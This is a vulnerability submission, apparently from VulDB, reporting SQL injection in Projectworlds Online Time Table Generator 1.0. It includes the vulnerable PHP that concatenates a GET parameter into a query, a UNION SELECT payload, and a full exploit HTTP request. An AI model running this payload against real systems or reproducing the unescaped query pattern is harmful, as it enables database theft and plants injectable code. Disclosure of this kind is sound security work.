| Titel | Projectworlds Online Time Table Generator v1.0 SQL Injection |
|---|
| Beschreibung | # SQL Injection vulnerability was discovered in Online Time Table Generator
Official Website: https://projectworlds.in/online-time-table-generator-php-mysql/
Version: 1.0 Related Code file: /timetable/admin/course_ajax.php
dbname=timetable
Payload: /timetable/admin/course_ajax.php?id=1' union select 1,database()--+
<hr>
```php
<strong><option value="" selected="selected" disabled="disabled">Select Semester</option>
<?php
include('../config.php');
$q=mysqli_query($con,"select * from department where department_id='".$_GET['id']."'");
while($res=mysqli_fetch_assoc($q))
{
echo "<option value='".$res['department_id']."'>".$res['department_name']."</option>";
}
?>
```
The id variable is directly inserted into the SQL query without any escaping or parameterization. An attacker could inject malicious SQL code by manipulating the id field. in (line number 1-10 of /admin/course_ajax.php)
Injection parameter: id
```
GET /timetable/admin/course_ajax.php?id=1%27%20union%20select%201,database()--+ HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=ntut60uhs0n0mgrkm8iejb5d8q
Connection: close
```
 |
|---|
| Quelle | ⚠️ https://github.com/GKb0y/Cve-report/blob/main/SQLi-Online-Time-Table-Generator.md |
|---|
| Benutzer | G__K (UID 76923) |
|---|
| Einreichung | 31.10.2024 10:28 (vor 2 Jahren) |
|---|
| Moderieren | 01.11.2024 10:00 (24 hours later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 251553 [Project Worlds Online Time Table Generator 1.0 course_ajax.php id SQL Injection] |
|---|
| Punkte | 0 |
|---|